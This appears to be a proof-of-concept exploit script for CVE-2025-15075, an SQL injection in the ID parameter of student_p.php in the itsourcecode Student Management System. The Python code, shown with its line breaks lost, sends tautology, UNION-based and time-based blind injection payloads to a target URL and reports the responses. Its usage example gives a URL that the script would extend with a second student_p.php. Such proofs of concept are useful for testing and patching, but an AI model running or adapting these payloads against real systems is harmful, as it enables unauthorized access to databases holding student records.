CVE-2025-15075 itsourcecode学生管理系统student_p.php文件ID参数SQL注入漏洞

import requests import sys # CVE-2025-15075 SQL Injection PoC # Target: itsourcecode Student Management System 1.0 # File: student_p.php # Parameter: ID def exploit_sqli(target_url, payload): """ Exploit SQL injection vulnerability in student_p.php ID parameter """ # Construct the vulnerable URL vuln_url = f"{target_url}/student_p.php?id={payload}" try: response = requests.get(vuln_url, timeout=10) return response.status_code, response.text except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None, None def main(): if len(sys.argv) < 2: print("Usage: python cve-2025-15075.py <target_url>") print("Example: python cve-2025-15075.py http://target.com/student_p.php") sys.exit(1) target = sys.argv[1].rstrip('/') # Test payloads payloads = [ "1' OR '1'='1", # Basic injection test "1' UNION SELECT 1,2,3,4,5--", # Union-based injection "1' AND SLEEP(5)--", # Time-based blind injection ] print(f"[*] Testing CVE-2025-15075 SQL Injection on {target}") print("=" * 60) for i, payload in enumerate(payloads, 1): print(f"\n[*] Testing payload {i}: {payload}") status, response = exploit_sqli(target, payload) if status: print(f"[+] Status Code: {status}") if len(response) > 100: print(f"[+] Response length: {len(response)} bytes") if __name__ == "__main__": main()